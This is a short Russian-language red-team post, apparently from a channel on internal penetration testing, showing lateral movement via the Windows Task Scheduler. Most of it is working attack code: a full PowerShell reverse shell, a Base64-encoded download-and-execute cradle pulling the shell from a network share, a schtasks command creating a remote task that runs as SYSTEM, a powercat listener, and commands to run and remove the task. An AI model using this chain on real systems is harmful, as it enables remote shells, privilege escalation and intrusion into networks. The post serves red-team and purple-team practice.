Боковое перемещение: Планировщик задач
Планировщик задач чаще используется на этапе закрепления в системе, но также может использоваться и для задач бокового перемещения или выполнения команд на удаленном хосте. Для создания запланированной задачи на удаленном хосте требуются права локального администратора и доступ по 135 порту (RPC). Аналогично с удаленным созданием служб планировщик задач будет использоваться как средство запуска полезной нагрузки, а протокол передачи данных будет выбором специалиста.
В качестве примера использования планировщика задача воспользуемся reverse shell на powershell
$client = New-Object System.Net.Sockets.TCPClient('comp1',8080);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()
}
$client.Close()
Здесь существует проблема в том, что длина команды для планировщика задачи не может превышать 261 символ. Для решения проблемы ограничения длины команды можно расположить файл с кодом reverse shell на общем ресурсе, а в задаче указать powershell путь до файла. Чтобы избежать проблем с кавычками конвертируем строку в Base64:
$s = "IEX (New-Object System.Net.Webclient).DownloadString('\\share\shell.txt')"
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($s))
И теперь создадим запланированную задачу на удаленном хосте
schtasks /create /S server /SC Daily /RU "NT Authority\SYSTEM" /TN "LMExample" /TR "powershell -enc <base64>"
Стоит рассмотреть ключи, используемые при создании задачи:
• /create – создать задачу
• /TN – название задачи
• /RU – от имени кого будет запущена задача, в данном случае от SYSTEM
• /SC – с какой периодичностью будет запускаться задача
• /TR – какая задача будет выполнена, в текущем примере это запуск reverse shell с помощью Powershell
На контролируемом хосте поднять Listener с помощью
PowerCat
powercat -l -p 8080
Теперь, когда все готово и можно вручную запустить задачу:
schtasks /run /S comp /TN "LMExample"
В результате будет получена оболочка с правами SYSTEM.
Этот способ можно использовать для получения привилегий SYSTEM на локальном хосте при наличии прав локального администратора.
После выполнения работы необходимо удалить созданную задачу
schtasks /delete /S comp /TN "LMExample"
#Внутрянка #RedTeam #PurpleTeam